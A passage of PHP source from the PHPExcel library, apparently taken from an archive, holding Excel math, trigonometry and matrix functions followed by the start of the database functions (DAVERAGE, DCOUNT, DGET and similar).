$allPoweredFactors[$myPoweredValue] = $myPoweredFactor; } } else { $allPoweredFactors[$myPoweredValue] = $myPoweredFactor; } } } foreach ($allPoweredFactors as $allPoweredFactor) { $returnValue *= (integer) $allPoweredFactor; } return $returnValue; } /** * LOG_BASE * * Returns the logarithm of a number to a specified base. The default base is 10. * * Excel Function: * LOG(number[,base]) * * @access public * @category Mathematical and Trigonometric Functions * @param float $number The positive real number for which you want the logarithm * @param float $base The base of the logarithm. If base is omitted, it is assumed to be 10. * @return float */ public static function LOG_BASE($number = null, $base = 10) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $base = (is_null($base)) ? 10 : (float) PHPExcel_Calculation_Functions::flattenSingleValue($base); if ((!is_numeric($base)) || (!is_numeric($number))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($base <= 0) || ($number <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } return log($number, $base); } /** * MDETERM * * Returns the matrix determinant of an array. * * Excel Function: * MDETERM(array) * * @access public * @category Mathematical and Trigonometric Functions * @param array $matrixValues A matrix of values * @return float */ public static function MDETERM($matrixValues) { $matrixData = array(); if (!is_array($matrixValues)) { $matrixValues = array(array($matrixValues)); } $row = $maxColumn = 0; foreach ($matrixValues as $matrixRow) { if (!is_array($matrixRow)) { $matrixRow = array($matrixRow); } $column = 0; foreach ($matrixRow as $matrixCell) { if ((is_string($matrixCell)) || ($matrixCell === null)) { return PHPExcel_Calculation_Functions::VALUE(); } $matrixData[$column][$row] = $matrixCell; ++$column; } if ($column > $maxColumn) { $maxColumn = $column; } ++$row; } if ($row != $maxColumn) { return PHPExcel_Calculation_Functions::VALUE(); } try { $matrix = new PHPExcel_Shared_JAMA_Matrix($matrixData); return $matrix->det(); } catch (PHPExcel_Exception $ex) { return PHPExcel_Calculation_Functions::VALUE(); } } /** * MINVERSE * * Returns the inverse matrix for the matrix stored in an array. * * Excel Function: * MINVERSE(array) * * @access public * @category Mathematical and Trigonometric Functions * @param array $matrixValues A matrix of values * @return array */ public static function MINVERSE($matrixValues) { $matrixData = array(); if (!is_array($matrixValues)) { $matrixValues = array(array($matrixValues)); } $row = $maxColumn = 0; foreach ($matrixValues as $matrixRow) { if (!is_array($matrixRow)) { $matrixRow = array($matrixRow); } $column = 0; foreach ($matrixRow as $matrixCell) { if ((is_string($matrixCell)) || ($matrixCell === null)) { return PHPExcel_Calculation_Functions::VALUE(); } $matrixData[$column][$row] = $matrixCell; ++$column; } if ($column > $maxColumn) { $maxColumn = $column; } ++$row; } if ($row != $maxColumn) { return PHPExcel_Calculation_Functions::VALUE(); } try { $matrix = new PHPExcel_Shared_JAMA_Matrix($matrixData); return $matrix->inverse()->getArray(); } catch (PHPExcel_Exception $ex) { return PHPExcel_Calculation_Functions::VALUE(); } } /** * MMULT * * @param array $matrixData1 A matrix of values * @param array $matrixData2 A matrix of values * @return array */ public static function MMULT($matrixData1, $matrixData2) { $matrixAData = $matrixBData = array(); if (!is_array($matrixData1)) { $matrixData1 = array(array($matrixData1)); } if (!is_array($matrixData2)) { $matrixData2 = array(array($matrixData2)); } try { $rowA = 0; foreach ($matrixData1 as $matrixRow) { if (!is_array($matrixRow)) { $matrixRow = array($matrixRow); } $columnA = 0; foreach ($matrixRow as $matrixCell) { if ((!is_numeric($matrixCell)) || ($matrixCell === null)) { return PHPExcel_Calculation_Functions::VALUE(); } $matrixAData[$rowA][$columnA] = $matrixCell; ++$columnA; } ++$rowA; } $matrixA = new PHPExcel_Shared_JAMA_Matrix($matrixAData); $rowB = 0; foreach ($matrixData2 as $matrixRow) { if (!is_array($matrixRow)) { $matrixRow = array($matrixRow); } $columnB = 0; foreach ($matrixRow as $matrixCell) { if ((!is_numeric($matrixCell)) || ($matrixCell === null)) { return PHPExcel_Calculation_Functions::VALUE(); } $matrixBData[$rowB][$columnB] = $matrixCell; ++$columnB; } ++$rowB; } $matrixB = new PHPExcel_Shared_JAMA_Matrix($matrixBData); if ($columnA != $rowB) { return PHPExcel_Calculation_Functions::VALUE(); } return $matrixA->times($matrixB)->getArray(); } catch (PHPExcel_Exception $ex) { var_dump($ex->getMessage()); return PHPExcel_Calculation_Functions::VALUE(); } } /** * MOD * * @param int $a Dividend * @param int $b Divisor * @return int Remainder */ public static function MOD($a = 1, $b = 1) { $a = PHPExcel_Calculation_Functions::flattenSingleValue($a); $b = PHPExcel_Calculation_Functions::flattenSingleValue($b); if ($b == 0.0) { return PHPExcel_Calculation_Functions::DIV0(); } elseif (($a < 0.0) && ($b > 0.0)) { return $b - fmod(abs($a), $b); } elseif (($a > 0.0) && ($b < 0.0)) { return $b + fmod($a, abs($b)); } return fmod($a, $b); } /** * MROUND * * Rounds a number to the nearest multiple of a specified value * * @param float $number Number to round * @param int $multiple Multiple to which you want to round $number * @return float Rounded Number */ public static function MROUND($number, $multiple) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $multiple = PHPExcel_Calculation_Functions::flattenSingleValue($multiple); if ((is_numeric($number)) && (is_numeric($multiple))) { if ($multiple == 0) { return 0; } if ((self::SIGN($number)) == (self::SIGN($multiple))) { $multiplier = 1 / $multiple; return round($number * $multiplier) / $multiplier; } return PHPExcel_Calculation_Functions::NaN(); } return PHPExcel_Calculation_Functions::VALUE(); } /** * MULTINOMIAL * * Returns the ratio of the factorial of a sum of values to the product of factorials. * * @param array of mixed Data Series * @return float */ public static function MULTINOMIAL() { $summer = 0; $divisor = 1; // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $arg) { // Is it a numeric value? if (is_numeric($arg)) { if ($arg < 1) { return PHPExcel_Calculation_Functions::NaN(); } $summer += floor($arg); $divisor *= self::FACT($arg); } else { return PHPExcel_Calculation_Functions::VALUE(); } } // Return if ($summer > 0) { $summer = self::FACT($summer); return $summer / $divisor; } return 0; } /** * ODD * * Returns number rounded up to the nearest odd integer. * * @param float $number Number to round * @return int Rounded Number */ public static function ODD($number) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); if (is_null($number)) { return 1; } elseif (is_bool($number)) { return 1; } elseif (is_numeric($number)) { $significance = self::SIGN($number); if ($significance == 0) { return 1; } $result = self::CEILING($number, $significance); if ($result == self::EVEN($result)) { $result += $significance; } return (int) $result; } return PHPExcel_Calculation_Functions::VALUE(); } /** * POWER * * Computes x raised to the power y. * * @param float $x * @param float $y * @return float */ public static function POWER($x = 0, $y = 2) { $x = PHPExcel_Calculation_Functions::flattenSingleValue($x); $y = PHPExcel_Calculation_Functions::flattenSingleValue($y); // Validate parameters if ($x == 0.0 && $y == 0.0) { return PHPExcel_Calculation_Functions::NaN(); } elseif ($x == 0.0 && $y < 0.0) { return PHPExcel_Calculation_Functions::DIV0(); } // Return $result = pow($x, $y); return (!is_nan($result) && !is_infinite($result)) ? $result : PHPExcel_Calculation_Functions::NaN(); } /** * PRODUCT * * PRODUCT returns the product of all the values and cells referenced in the argument list. * * Excel Function: * PRODUCT(value1[,value2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return float */ public static function PRODUCT() { // Return value $returnValue = null; // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = $arg; } else { $returnValue *= $arg; } } } // Return if (is_null($returnValue)) { return 0; } return $returnValue; } /** * QUOTIENT * * QUOTIENT function returns the integer portion of a division. Numerator is the divided number * and denominator is the divisor. * * Excel Function: * QUOTIENT(value1[,value2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return float */ public static function QUOTIENT() { // Return value $returnValue = null; // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = ($arg == 0) ? 0 : $arg; } else { if (($returnValue == 0) || ($arg == 0)) { $returnValue = 0; } else { $returnValue /= $arg; } } } } // Return return intval($returnValue); } /** * RAND * * @param int $min Minimal value * @param int $max Maximal value * @return int Random number */ public static function RAND($min = 0, $max = 0) { $min = PHPExcel_Calculation_Functions::flattenSingleValue($min); $max = PHPExcel_Calculation_Functions::flattenSingleValue($max); if ($min == 0 && $max == 0) { return (mt_rand(0, 10000000)) / 10000000; } else { return mt_rand($min, $max); } } public static function ROMAN($aValue, $style = 0) { $aValue = PHPExcel_Calculation_Functions::flattenSingleValue($aValue); $style = (is_null($style)) ? 0 : (integer) PHPExcel_Calculation_Functions::flattenSingleValue($style); if ((!is_numeric($aValue)) || ($aValue < 0) || ($aValue >= 4000)) { return PHPExcel_Calculation_Functions::VALUE(); } $aValue = (integer) $aValue; if ($aValue == 0) { return ''; } $mill = array('', 'M', 'MM', 'MMM', 'MMMM', 'MMMMM'); $cent = array('', 'C', 'CC', 'CCC', 'CD', 'D', 'DC', 'DCC', 'DCCC', 'CM'); $tens = array('', 'X', 'XX', 'XXX', 'XL', 'L', 'LX', 'LXX', 'LXXX', 'XC'); $ones = array('', 'I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX'); $roman = ''; while ($aValue > 5999) { $roman .= 'M'; $aValue -= 1000; } $m = self::romanCut($aValue, 1000); $aValue %= 1000; $c = self::romanCut($aValue, 100); $aValue %= 100; $t = self::romanCut($aValue, 10); $aValue %= 10; return $roman.$mill[$m].$cent[$c].$tens[$t].$ones[$aValue]; } /** * ROUNDUP * * Rounds a number up to a specified number of decimal places * * @param float $number Number to round * @param int $digits Number of digits to which you want to round $number * @return float Rounded Number */ public static function ROUNDUP($number, $digits) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $digits = PHPExcel_Calculation_Functions::flattenSingleValue($digits); if ((is_numeric($number)) && (is_numeric($digits))) { $significance = pow(10, (int) $digits); if ($number < 0.0) { return floor($number * $significance) / $significance; } else { return ceil($number * $significance) / $significance; } } return PHPExcel_Calculation_Functions::VALUE(); } /** * ROUNDDOWN * * Rounds a number down to a specified number of decimal places * * @param float $number Number to round * @param int $digits Number of digits to which you want to round $number * @return float Rounded Number */ public static function ROUNDDOWN($number, $digits) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $digits = PHPExcel_Calculation_Functions::flattenSingleValue($digits); if ((is_numeric($number)) && (is_numeric($digits))) { $significance = pow(10, (int) $digits); if ($number < 0.0) { return ceil($number * $significance) / $significance; } else { return floor($number * $significance) / $significance; } } return PHPExcel_Calculation_Functions::VALUE(); } /** * SERIESSUM * * Returns the sum of a power series * * @param float $x Input value to the power series * @param float $n Initial power to which you want to raise $x * @param float $m Step by which to increase $n for each term in the series * @param array of mixed Data Series * @return float */ public static function SERIESSUM() { $returnValue = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $x = array_shift($aArgs); $n = array_shift($aArgs); $m = array_shift($aArgs); if ((is_numeric($x)) && (is_numeric($n)) && (is_numeric($m))) { // Calculate $i = 0; foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $returnValue += $arg * pow($x, $n + ($m * $i++)); } else { return PHPExcel_Calculation_Functions::VALUE(); } } return $returnValue; } return PHPExcel_Calculation_Functions::VALUE(); } /** * SIGN * * Determines the sign of a number. Returns 1 if the number is positive, zero (0) * if the number is 0, and -1 if the number is negative. * * @param float $number Number to round * @return int sign value */ public static function SIGN($number) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); if (is_bool($number)) { return (int) $number; } if (is_numeric($number)) { if ($number == 0.0) { return 0; } return $number / abs($number); } return PHPExcel_Calculation_Functions::VALUE(); } /** * SQRTPI * * Returns the square root of (number * pi). * * @param float $number Number * @return float Square Root of Number * Pi */ public static function SQRTPI($number) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); if (is_numeric($number)) { if ($number < 0) { return PHPExcel_Calculation_Functions::NaN(); } return sqrt($number * M_PI) ; } return PHPExcel_Calculation_Functions::VALUE(); } /** * SUBTOTAL * * Returns a subtotal in a list or database. * * @param int the number 1 to 11 that specifies which function to * use in calculating subtotals within a list. * @param array of mixed Data Series * @return float */ public static function SUBTOTAL() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $subtotal = array_shift($aArgs); if ((is_numeric($subtotal)) && (!is_string($subtotal))) { switch ($subtotal) { case 1: return PHPExcel_Calculation_Statistical::AVERAGE($aArgs); case 2: return PHPExcel_Calculation_Statistical::COUNT($aArgs); case 3: return PHPExcel_Calculation_Statistical::COUNTA($aArgs); case 4: return PHPExcel_Calculation_Statistical::MAX($aArgs); case 5: return PHPExcel_Calculation_Statistical::MIN($aArgs); case 6: return self::PRODUCT($aArgs); case 7: return PHPExcel_Calculation_Statistical::STDEV($aArgs); case 8: return PHPExcel_Calculation_Statistical::STDEVP($aArgs); case 9: return self::SUM($aArgs); case 10: return PHPExcel_Calculation_Statistical::VARFunc($aArgs); case 11: return PHPExcel_Calculation_Statistical::VARP($aArgs); } } return PHPExcel_Calculation_Functions::VALUE(); } /** * SUM * * SUM computes the sum of all the values and cells referenced in the argument list. * * Excel Function: * SUM(value1[,value2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return float */ public static function SUM() { $returnValue = 0; // Loop through the arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $returnValue += $arg; } } return $returnValue; } /** * SUMIF * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * SUMIF(value1[,value2[, ...]],condition) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @param string $condition The criteria that defines which cells will be summed. * @return float */ public static function SUMIF($aArgs, $condition, $sumArgs = array()) { $returnValue = 0; $aArgs = PHPExcel_Calculation_Functions::flattenArray($aArgs); $sumArgs = PHPExcel_Calculation_Functions::flattenArray($sumArgs); if (empty($sumArgs)) { $sumArgs = $aArgs; } $condition = PHPExcel_Calculation_Functions::ifCondition($condition); // Loop through arguments foreach ($aArgs as $key => $arg) { if (!is_numeric($arg)) { $arg = str_replace('"', '""', $arg); $arg = PHPExcel_Calculation::wrapResult(strtoupper($arg)); } $testCondition = '='.$arg.$condition; if (PHPExcel_Calculation::getInstance()->_calculateFormulaValue($testCondition)) { // Is it a value within our criteria $returnValue += $sumArgs[$key]; } } return $returnValue; } /** * SUMIFS * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * SUMIFS(value1[,value2[, ...]],condition) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @param string $condition The criteria that defines which cells will be summed. * @return float */ public static function SUMIFS() { $arrayList = func_get_args(); $sumArgs = PHPExcel_Calculation_Functions::flattenArray(array_shift($arrayList)); while (count($arrayList) > 0) { $aArgsArray[] = PHPExcel_Calculation_Functions::flattenArray(array_shift($arrayList)); $conditions[] = PHPExcel_Calculation_Functions::ifCondition(array_shift($arrayList)); } // Loop through each set of arguments and conditions foreach ($conditions as $index => $condition) { $aArgs = $aArgsArray[$index]; $wildcard = false; if ((strpos($condition, '*') !== false) || (strpos($condition, '?') !== false)) { // * and ? are wildcard characters. // Use ~* and ~? for literal star and question mark // Code logic doesn't yet handle escaping $condition = trim(ltrim($condition, '=<>'), '"'); $wildcard = true; } // Loop through arguments foreach ($aArgs as $key => $arg) { if ($wildcard) { if (!fnmatch($condition, $arg, FNM_CASEFOLD)) { // Is it a value within our criteria $sumArgs[$key] = 0.0; } } else { if (!is_numeric($arg)) { $arg = PHPExcel_Calculation::wrapResult(strtoupper($arg)); } $testCondition = '='.$arg.$condition; if (!PHPExcel_Calculation::getInstance()->_calculateFormulaValue($testCondition)) { // Is it a value within our criteria $sumArgs[$key] = 0.0; } } } } // Return return array_sum($sumArgs); } /** * SUMPRODUCT * * Excel Function: * SUMPRODUCT(value1[,value2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return float */ public static function SUMPRODUCT() { $arrayList = func_get_args(); $wrkArray = PHPExcel_Calculation_Functions::flattenArray(array_shift($arrayList)); $wrkCellCount = count($wrkArray); for ($i=0; $i< $wrkCellCount; ++$i) { if ((!is_numeric($wrkArray[$i])) || (is_string($wrkArray[$i]))) { $wrkArray[$i] = 0; } } foreach ($arrayList as $matrixData) { $array2 = PHPExcel_Calculation_Functions::flattenArray($matrixData); $count = count($array2); if ($wrkCellCount != $count) { return PHPExcel_Calculation_Functions::VALUE(); } foreach ($array2 as $i => $val) { if ((!is_numeric($val)) || (is_string($val))) { $val = 0; } $wrkArray[$i] *= $val; } } return array_sum($wrkArray); } /** * SUMSQ * * SUMSQ returns the sum of the squares of the arguments * * Excel Function: * SUMSQ(value1[,value2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return float */ public static function SUMSQ() { $returnValue = 0; // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $returnValue += ($arg * $arg); } } return $returnValue; } /** * SUMX2MY2 * * @param mixed[] $matrixData1 Matrix #1 * @param mixed[] $matrixData2 Matrix #2 * @return float */ public static function SUMX2MY2($matrixData1, $matrixData2) { $array1 = PHPExcel_Calculation_Functions::flattenArray($matrixData1); $array2 = PHPExcel_Calculation_Functions::flattenArray($matrixData2); $count = min(count($array1), count($array2)); $result = 0; for ($i = 0; $i < $count; ++$i) { if (((is_numeric($array1[$i])) && (!is_string($array1[$i]))) && ((is_numeric($array2[$i])) && (!is_string($array2[$i])))) { $result += ($array1[$i] * $array1[$i]) - ($array2[$i] * $array2[$i]); } } return $result; } /** * SUMX2PY2 * * @param mixed[] $matrixData1 Matrix #1 * @param mixed[] $matrixData2 Matrix #2 * @return float */ public static function SUMX2PY2($matrixData1, $matrixData2) { $array1 = PHPExcel_Calculation_Functions::flattenArray($matrixData1); $array2 = PHPExcel_Calculation_Functions::flattenArray($matrixData2); $count = min(count($array1), count($array2)); $result = 0; for ($i = 0; $i < $count; ++$i) { if (((is_numeric($array1[$i])) && (!is_string($array1[$i]))) && ((is_numeric($array2[$i])) && (!is_string($array2[$i])))) { $result += ($array1[$i] * $array1[$i]) + ($array2[$i] * $array2[$i]); } } return $result; } /** * SUMXMY2 * * @param mixed[] $matrixData1 Matrix #1 * @param mixed[] $matrixData2 Matrix #2 * @return float */ public static function SUMXMY2($matrixData1, $matrixData2) { $array1 = PHPExcel_Calculation_Functions::flattenArray($matrixData1); $array2 = PHPExcel_Calculation_Functions::flattenArray($matrixData2); $count = min(count($array1), count($array2)); $result = 0; for ($i = 0; $i < $count; ++$i) { if (((is_numeric($array1[$i])) && (!is_string($array1[$i]))) && ((is_numeric($array2[$i])) && (!is_string($array2[$i])))) { $result += ($array1[$i] - $array2[$i]) * ($array1[$i] - $array2[$i]); } } return $result; } /** * TRUNC * * Truncates value to the number of fractional digits by number_digits. * * @param float $value * @param int $digits * @return float Truncated value */ public static function TRUNC($value = 0, $digits = 0) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $digits = PHPExcel_Calculation_Functions::flattenSingleValue($digits); // Validate parameters if ((!is_numeric($value)) || (!is_numeric($digits))) { return PHPExcel_Calculation_Functions::VALUE(); } $digits = floor($digits); // Truncate $adjust = pow(10, $digits); if (($digits > 0) && (rtrim(intval((abs($value) - abs(intval($value))) * $adjust), '0') < $adjust/10)) { return $value; } return (intval($value * $adjust)) / $adjust; } } PHPExcel/Calculation/Database.php 0000644 00000101063 14642534107 0012636 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Calculation_Database * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Database { /** * fieldExtract * * Extracts the column ID to use for the data field. * * @access private * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param mixed $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @return string|NULL * */ private static function fieldExtract($database, $field) { $field = strtoupper(PHPExcel_Calculation_Functions::flattenSingleValue($field)); $fieldNames = array_map('strtoupper', array_shift($database)); if (is_numeric($field)) { $keys = array_keys($fieldNames); return $keys[$field-1]; } $key = array_search($field, $fieldNames); return ($key) ? $key : null; } /** * filter * * Parses the selection criteria, extracts the database rows that match those criteria, and * returns that subset of rows. * * @access private * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return array of mixed * */ private static function filter($database, $criteria) { $fieldNames = array_shift($database); $criteriaNames = array_shift($criteria); // Convert the criteria into a set of AND/OR conditions with [:placeholders] $testConditions = $testValues = array(); $testConditionsCount = 0; foreach ($criteriaNames as $key => $criteriaName) { $testCondition = array(); $testConditionCount = 0; foreach ($criteria as $row => $criterion) { if ($criterion[$key] > '') { $testCondition[] = '[:'.$criteriaName.']'.PHPExcel_Calculation_Functions::ifCondition($criterion[$key]); $testConditionCount++; } } if ($testConditionCount > 1) { $testConditions[] = 'OR(' . implode(',', $testCondition) . ')'; $testConditionsCount++; } elseif ($testConditionCount == 1) { $testConditions[] = $testCondition[0]; $testConditionsCount++; } } if ($testConditionsCount > 1) { $testConditionSet = 'AND(' . implode(',', $testConditions) . ')'; } elseif ($testConditionsCount == 1) { $testConditionSet = $testConditions[0]; } // Loop through each row of the database foreach ($database as $dataRow => $dataValues) { // Substitute actual values from the database row for our [:placeholders] $testConditionList = $testConditionSet; foreach ($criteriaNames as $key => $criteriaName) { $k = array_search($criteriaName, $fieldNames); if (isset($dataValues[$k])) { $dataValue = $dataValues[$k]; $dataValue = (is_string($dataValue)) ? PHPExcel_Calculation::wrapResult(strtoupper($dataValue)) : $dataValue; $testConditionList = str_replace('[:' . $criteriaName . ']', $dataValue, $testConditionList); } } // evaluate the criteria against the row data $result = PHPExcel_Calculation::getInstance()->_calculateFormulaValue('='.$testConditionList); // If the row failed to meet the criteria, remove it from the database if (!$result) { unset($database[$dataRow]); } } return $database; } private static function getFilteredColumn($database, $field, $criteria) { // reduce the database to a set of rows that match all the criteria $database = self::filter($database, $criteria); // extract an array of values for the requested column $colData = array(); foreach ($database as $row) { $colData[] = $row[$field]; } return $colData; } /** * DAVERAGE * * Averages the values in a column of a list or database that match conditions you specify. * * Excel Function: * DAVERAGE(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DAVERAGE($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::AVERAGE( self::getFilteredColumn($database, $field, $criteria) ); } /** * DCOUNT * * Counts the cells that contain numbers in a column of a list or database that match conditions * that you specify. * * Excel Function: * DCOUNT(database,[field],criteria) * * Excel Function: * DAVERAGE(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return integer * * @TODO The field argument is optional. If field is omitted, DCOUNT counts all records in the * database that match the criteria. * */ public static function DCOUNT($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::COUNT( self::getFilteredColumn($database, $field, $criteria) ); } /** * DCOUNTA * * Counts the nonblank cells in a column of a list or database that match conditions that you specify. * * Excel Function: * DCOUNTA(database,[field],criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return integer * * @TODO The field argument is optional. If field is omitted, DCOUNTA counts all records in the * database that match the criteria. * */ public static function DCOUNTA($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // reduce the database to a set of rows that match all the criteria $database = self::filter($database, $criteria); // extract an array of values for the requested column $colData = array(); foreach ($database as $row) { $colData[] = $row[$field]; } // Return return PHPExcel_Calculation_Statistical::COUNTA( self::getFilteredColumn($database, $field, $criteria) ); } /** * DGET * * Extracts a single value from a column of a list or database that matches conditions that you * specify. * * Excel Function: * DGET(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return mixed * */ public static function DGET($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return $colData = self::getFilteredColumn($database, $field, $criteria); if (count($colData) > 1) { return PHPExcel_Calculation_Functions::NaN(); } return $colData[0]; } /** * DMAX * * Returns the largest number in a column of a list or database that matches conditions you that * specify. * * Excel Function: * DMAX(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DMAX($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::MAX( self::getFilteredColumn($database, $field, $criteria) ); } /** * DMIN * * Returns the smallest number in a column of a list or database that matches conditions you that * specify. * * Excel Function: * DMIN(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DMIN($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::MIN( self::getFilteredColumn($database, $field, $criteria) ); } /** * DPRODUCT * * Multiplies the values in a column of a list or database that match conditions that you specify. * * Excel Function: * DPRODUCT(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * 